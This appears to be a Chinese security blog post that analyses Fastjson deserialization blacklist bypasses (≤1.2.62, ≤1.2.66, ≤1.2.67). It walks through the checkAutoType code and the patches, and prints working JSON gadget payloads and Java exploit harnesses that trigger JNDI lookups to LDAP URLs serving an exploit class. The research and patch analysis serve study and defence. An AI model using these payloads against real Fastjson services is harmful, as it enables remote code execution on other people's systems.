Java反序列化之Fastjson1.2.6x绕过

Fastjson<=1.2.62反序列化漏洞

其实也是基于黑名单之外的另一条新链的绕过手段

前提条件

  • 需要开启AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限。

依赖

环境的pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

JndiConverter JNDI注入分析

org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞,可由其构造函数处触发利用

看到JndiConverter#toObjectImpl方法

1
2
3
4
5
6
7
8
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}

很明显的一个JNDI注入点

但是这里的话并没有setter/getter方法,也并非构造函数,为什么呢触发呢?

关注到JndiConverter的构造函数

1
2
3
public JndiConverter() {
super(Context.class);
}

会调用到父类的构造函数,也就是AbstractConverter的构造函数

1
2
3
4
5
6
7
8
9
protected AbstractConverter(Class type) {
this(type, true);
}
protected AbstractConverter(Class type, boolean trim) {
super();
if (type == null) throw new NullPointerException("type is null");
this.type = type;
this.trim = trim;
}

那既然反序列化会调用到父类AbstractConverter,那么就会调用到其setter和getter方法,其中有一个setAsText方法

1
2
3
4
public final void setAsText(String text) {
Object value = toObject((trim) ? text.trim() : text);
super.setValue(value);
}

跟进toObject就可以发现

1
2
3
4
5
6
7
8
public final Object toObject(String text) {
if (text == null) {
return null;
}

Object value = toObjectImpl((trim) ? text.trim() : text);
return value;
}

很明显这里调用到我们的漏洞点toObjectImpl方法

所以我们的POC可以写成这样

POC&EXP

1
2
3
4
{
\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",
\"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package SerializeChains.FastjsonSer.Fastjson126x;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JndiConverter_POC {
/*
* Fastjson<=1.2.62的黑名单绕过
* POC:
*
* {
* \"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",
* \"AsText\":\"ldap://127.0.0.1:1389/EXP\"
* }
* */

public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +
"\"asText\":\"ldap://localhost:9999/EXP\"}";
JSON.parse(poc);

}
}

分别启动LDAP服务和EXP所在的web服务,注意这里EXP最好不要有任何包名,因为这个问题我调试了一个多小时

image-20260228155205690

fastjson代码分析

打上断点跟进com.alibaba.fastjson.parser.ParserConfig#checkAutoType()

相比于之前版本调试分析时看的CheckAutoType()函数,这里新增了一些代码逻辑,大致内容如注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if (typeName == null) {
return null;
}

// 限制了JSON中@type指定的类名长度
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

// 单独对expectClass参数进行判断,设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

// 1.2.43检测,"["
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.41检测,"Lxx;"
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.42检测,"LL"
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中,若在则internalWhite为true
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;

当未开启AutoType时

image-20260228160014879

可以看到此时我们的JndiConverter是没在白名单中的,但由于未开启AutoType,所以无法进入这个逻辑

并且后续加载class的代码都并没有加载成功,来到未开启AutoType的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

先进行一轮黑名单的检测和白名单的匹配,这里我们的类不在黑名单中,所以正常步过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}

使用ParserConfig自身的类加载器去尝试读取目标类的class文件字节码,这里用的是ASM库去读取字节码,随后尝试获取JsonType注解信息,但是这里并不会获取到,所以是false

继续接下来的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
      // 设置autoTypeSupport开关
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

// 若到这一步,clazz还是null的话,就会对其是否开启AutoType、是否注解JsonType、是否设置expectClass来进行判断
// 如果判断通过,就会判断是否开启AutoType或是否注解JsonType,是的话就会在加载clazz后将其缓存到Mappings中,这正是1.2.47的利用点
// 也就是说,只要开启了AutoType或者注解了JsonType的话,在这段代码逻辑中就会把clazz缓存到Mappings中
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

// 如果从前面加载得到了clazz
if (clazz != null) {
// 如果注解了JsonType,直接返回clazz
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

// 判断clazz是否为ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}

// 如果是expectClass不为空且clazz是其子类,则直接返回,否则抛出异常
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

// build JavaBeanInfo后,对其creatorConstructor进行判断,如果该值不为null且开启AutoType则抛出异常
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

再往下clazz为null且AutoType为false就直接抛出异常找不到指定类

image-20260228161444933

当开启AutoType时

image-20260228161709443

前面没有获取到类,并且开启了AutoType,通过AppClassLoader类加载器成功加载恶意类。且由于前面开启AutoType的缘故、cacheClass为true进而开启了cache缓存,最后返回加载的类

补丁分析

这种黑名单绕过最常用的修复方法就是加黑名单了

参考官方的代码对比:https://github.com/alibaba/fastjson/compare/1.2.62%E2%80%A61.2.66#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

换成1.2.66后会继续抛出报错

image-20260228162258648

跟进checkAutoType的1274行看看

image-20260228162327256

黑名单匹配,果然

Fastjson<=1.2.66反序列化漏洞

这里的话依旧是新Gadgets绕过黑名单并且方法有好几个,但其实都是依靠外部依赖去打的,并且原理都是存在JDNI注入漏洞。

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

POC&EXP

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC(需要shiro-core包)

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>

poc

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:9999/EXP"], "Realms":[""]}

image-20260228163012483

br.com.anteros.dbcp.AnterosDBCPConfig类PoC(需要 Anteros-Core和 Anteros-DBCP 包)

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- Anteros-Core -->
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.1</version>
</dependency>

<!-- Anteros-DBCP -->
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>

poc

1
2
3
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:9999/EXP\"}

{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:9999/EXP\"}

image-20260228163406959

image-20260228163425278

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC(需要ibatis-sqlmap和jta包)

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- iBatis SQL Maps -->
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>

<!-- JTA (Java Transaction API) -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

poc

1
2
{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
"\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:9999/EXP\"}}

image-20260228163632935

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package SerializeChains.FastjsonSer.Fastjson126x;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP_1266 {
/*
* Fastjson<=1.2.66的黑名单绕过
* */
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:9999/EXP\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:9999/EXP\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:9999/EXP\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:9999/EXP\"}}";
JSON.parse(poc);
}
}

这几个Gadget的触发原理其实也很简单,跟进去看看就晓得了,具体的后面想写了再回来写吧

Fastjson<=1.2.67反序列化漏洞

依旧是黑名单绕过的新Gadget

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

POC&EXP

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!-- Ignite Core -->
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.16.0</version>
</dependency>

<!-- Ignite JTA -->
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.16.0</version>
</dependency>

<!-- JTA -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

POC

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

image-20260228164315209

org.apache.shiro.jndi.JndiObjectFactory类PoC:

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>

POC

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

image-20260228164500848

这两条链子后面想写再写吧

-------------本文结束感谢您的阅读-------------